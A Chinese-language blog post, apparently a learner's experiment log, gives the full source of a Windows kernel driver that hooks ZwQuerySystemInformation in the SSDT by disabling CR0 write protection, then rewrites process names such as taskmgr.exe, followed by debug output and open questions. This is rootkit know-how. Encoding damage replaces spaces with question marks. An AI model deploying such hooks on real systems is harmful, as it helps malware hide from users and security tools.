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Posted on 2009-10-26 19:10 S.l.e!ep.￠% 閱讀(348) 評論(0) 編輯 收藏 引用 所屬分類: RootKit
[資料] http://m.shnenglu.com/sleepwom/archive/2009/10/24/99375.html在 HOOK SSDT Hide Process （五）?? R3 已經(jīng)知道 ZwQuerySystemInformation 函數(shù)用來 enum 進(jìn)程 那么現(xiàn)在看下 R0 的HOOK 函數(shù)實(shí)現(xiàn)先 從致是調(diào)用回 ntdll.dll? 中的 ZwQuerySystemInformation 函數(shù)，取得返回值后，再把相關(guān)的數(shù)據(jù)過濾掉 編譯后運(yùn)行有問題，于是乎對程序作了一下修改，主要改了 MyZwQuerySystemInformation 函數(shù) 在判斷到進(jìn)程的名字是 taskmgr.exe 就把它改為 haha#include?"ssdthook.h"
#pragma??pack(1)
typedef?struct?_SSDT_TABLE
{
??PVOID???ServiceTableBase;
??PULONG??ServiceCounterTableBase;
??ULONG???NumberOfService;
??ULONG???ParamTableBase;
}SSDT_TABLE,*?PSSDT_TABLE;
#pragma?pack()
struct?_SYSTEM_THREADS
{
??LARGE_INTEGER???????????KernelTime;
??LARGE_INTEGER???????????UserTime;
??LARGE_INTEGER???????????CreateTime;
??ULONG???????????????????????????WaitTime;
??PVOID???????????????????????????StartAddress;
??CLIENT_ID???????????????????????ClientIs;
??KPRIORITY???????????????????????Priority;
??KPRIORITY???????????????????????BasePriority;
??ULONG???????????????????????????ContextSwitchCount;
??ULONG???????????????????????????ThreadState;
??KWAIT_REASON????????????WaitReason;
};
//===================================================
struct?_SYSTEM_PROCESSES
{
??ULONG???????????????????????????NextEntryDelta;
??ULONG???????????????????????????ThreadCount;
??ULONG???????????????????????????Reserved[6];
??LARGE_INTEGER???????????CreateTime;
??LARGE_INTEGER???????????UserTime;
??LARGE_INTEGER???????????KernelTime;
??UNICODE_STRING??????????ProcessName;
??KPRIORITY???????????????????????BasePriority;
??ULONG???????????????????????????ProcessId;
??ULONG???????????????????????????InheritedFromProcessId;
??ULONG???????????????????????????HandleCount;
??ULONG???????????????????????????Reserved2[2];
??VM_COUNTERS?????????????????????VmCounters;
??IO_COUNTERS?????????????????????IoCounters;?//windows?2000?only
??struct?_SYSTEM_THREADS??????????Threads[1];
};
struct?_SYSTEM_PROCESSOR_TIMES
{
???LARGE_INTEGER??????????IdleTime;
???LARGE_INTEGER??????????KernelTime;
???LARGE_INTEGER??????????UserTime;
???LARGE_INTEGER??????????DpcTime;
???LARGE_INTEGER??????????InterruptTime;
???ULONG??????????????InterruptCount;
};
//======================================================
typedef?NTSTATUS?(__stdcall?*ZWQUERYSYSTEMINFORMATION)(
???IN?ULONG?SystemInformationClass,?
???IN?PVOID?SystemInformation,?
???IN?ULONG?SystemInformationLength,?
???OUT?PULONG?ReturnLength);
NTSTATUS?MyZwQuerySystemInformation(?
???IN?ULONG?SystemInformationClass,?
???IN?PVOID?SystemInformation,?
???IN?ULONG?SystemInformationLength,?
???OUT?PULONG?ReturnLength);
//定義全局變量
extern?"C"?extern?PSSDT_TABLE??KeServiceDescriptorTable;
ULONG??OldAddress;
ZWQUERYSYSTEMINFORMATION????????OldZwQuerySystemInformation;
PVOID?Base;
void?UnHook();
VOID?Unload?(IN?PDRIVER_OBJECT?pDriverObject)?
{
????????KdPrint(("Enter?DriverUnload\n"));
????????UnHook();???//?mark
}
NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
????????????????????????????????????IN?PVOID?SystemInformation,?
????????????????????????????????????IN?ULONG?SystemInformationLength,?
????????????????????????????????????OUT?PULONG?ReturnLength)?//定義自己的Hook函數(shù)
{?
????
????NTSTATUS?rc;?
????UNICODE_STRING?process_name;
????
????RtlInitUnicodeString(&process_name,?L"taskmgr.exe");
????
????rc?=?(OldZwQuerySystemInformation)?(?
????????SystemInformationClass,?
????????SystemInformation,?
????????SystemInformationLength,?
????????ReturnLength);?
????
????if(NT_SUCCESS(rc))?
????{
????????if(5?==?SystemInformationClass)
????????{?
????????????struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
????????????
????????????while(curr)
????????????{
????????????????if?(RtlEqualUnicodeString(&process_name,?&curr->ProcessName,?1))
????????????????{
????????????????????????????????????????DbgPrint("before?%wZ\n",&process_name);?
????????????????????????????????????????RtlInitUnicodeString(&(curr->ProcessName),?L"haha");??????????????????????????????????????????
????????????????????????????????????????DbgPrint("after?%wZ\n",&(curr->ProcessName));?
????????????????}?//?if?(RtlEqualUnicodeString(&process_name,?&curr->ProcessName,?1))
????????????????
????????????????if(curr->NextEntryDelta)
????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
????????????????else?
????????????????????curr?=?NULL;
????????????}?//while(curr)
????????????
????????}?//?if(5?==?SystemInformationClass)
????????
????}//?if(NT_SUCCESS(rc))
????
????//?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully .?\n"));
????return?rc;
}
VOID?Hook()
{
????????DbgPrint("Entry?Hook()\n");
????????OldAddress?=(ULONG)KeServiceDescriptorTable->ServiceTableBase?+?4*0xAd;//用windbg反匯編查到zwquerysysteminformationde的ID號是0xADh
????????DbgPrint("KeServiceDescriptorTable->ServiceTableBase?is?:0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
????????//保存原來函數(shù)的地址
????????OldZwQuerySystemInformation?=?(ZWQUERYSYSTEMINFORMATION)?*(ULONG?*)OldAddress;
????????DbgPrint("OldZwQuerySystemInformation?is?:0x%0x\n",?OldZwQuerySystemInformation);
????????DbgPrint("MyZwQuerySystemInformation?is?:0x%0x\n",?MyZwQuerySystemInformation);
????????
????????//取消內(nèi)存寫保護(hù)
????????_asm
????????{?
????????cli
????????mov??eax,cr0
????????and??eax,not?10000h
????????mov??cr0,eax
????????}
????????*(ULONG*)OldAddress?=(ULONG)?MyZwQuerySystemInformation;???????//mark???MyZwQuerySystemInformation;
????????
????????//還原內(nèi)存寫保護(hù)
????????_asm
????????{
????????mov??eax,cr0
????????or???eax,10000h
????????mov??cr0,eax?
????????sti
????????}
}
void?UnHook()
{
??ULONG??Address;
??Address?=(ULONG)?KeServiceDescriptorTable->ServiceTableBase?+0xAD*4;
??__asm
??{
????cli
????mov??eax,cr0
????and??eax,not?10000h
????mov??cr0,eax
??}
??*(ULONG*)Address?=(ULONG)?OldZwQuerySystemInformation;
??__asm
??{??
????mov??eax,cr0
????or???eax,10000h
????mov??cr0,eax
????sti
??}
??DbgPrint("Unhook?leave!\n");
}
//========================驅(qū)動入口函數(shù)
extern?"C"?NTSTATUS?DriverEntry(IN?PDRIVER_OBJECT??pDriverObject,?IN?PUNICODE_STRING??pRegistryPath)
{
??DbgPrint("Entry?Hook?Function!\n");
??pDriverObject->DriverUnload?=?Unload;
??Hook();
??DbgPrint("Leave?DriverEntry!\n");
??return?STATUS_SUCCESS;
}? 運(yùn)行后， 事與愿違， 并沒有顯示 haha, 而是顯示為空 用 DebugView 顯示調(diào)試信息 Entry?Hook?Function!
Entry?Hook()
KeServiceDescriptorTable->ServiceTableBase?is?:0x804e2d20
OldZwQuerySystemInformation?is?:0x8057cc27
MyZwQuerySystemInformation?is?:0xf8ed4080
Leave?DriverEntry!
before?taskmgr.exe
after?haha
Q：為何在 taskmgr.exe 中會顯示為空？疑問中
采用 HOOK SSDT Hide Process （五）??中的程序跟蹤發(fā)現(xiàn)，taskmgr.exe 的 imagename.buffer 的地址居然是 0xb049480
這個(gè)地址顯然不是應(yīng)用層的地址，后果然后是不讓訪問了
于是改成用 memcpy
DbgPrint("before 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
//RtlInitUnicodeString(&(curr->ProcessName), L"fdsf");
memcpy(curr->ProcessName.Buffer, L"_root_", 12);
DbgPrint("after 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
結(jié)果，運(yùn)行成功
taskmgr.exe 的 imagename 被成功修改為 _root_r.exe
產(chǎn)生新的問題：
Q:? RtlInitUnicodeString 對 UNICODE_STRING 賦值是會同時(shí)分配緩沖區(qū)的空間？這一點(diǎn)查了MSDN，沒看到有相關(guān)的說明
需要找時(shí)間去驗(yàn)證下
A:? RtlInitUnicodeString() 這個(gè)函數(shù)它并不是直接去修改內(nèi)存，而是重新分配一段緩沖區(qū)，而這段緩沖區(qū)在離開函數(shù)后就無效了
??????而用戶傳進(jìn)來的?SystemInformation 指針，是一段連續(xù)的內(nèi)存空間
Q:???用戶區(qū)傳進(jìn)來的 SystemInformation 指針，是一段連續(xù)的內(nèi)存空間，也就是說， 如果修改了 IMAGENAME 的內(nèi)容，導(dǎo)致
原來 UNICODE_STRING.buffer 不足的話，那么需要把后面的 SystemInformation 都往后移？（這一點(diǎn)也需要找時(shí)間驗(yàn)證下）
比較保險(xiǎn)的做法是，先執(zhí)行系統(tǒng)的 ZwQuerySytemInformation 后，先把所有的 SystemInformation 都讀出來，然后再分別寫到
用戶傳進(jìn)來的 SystemInformation? 緩沖區(qū)。
A: 這個(gè)嘗試過，不過藍(lán)屏，需要找時(shí)間再仔細(xì)研究下
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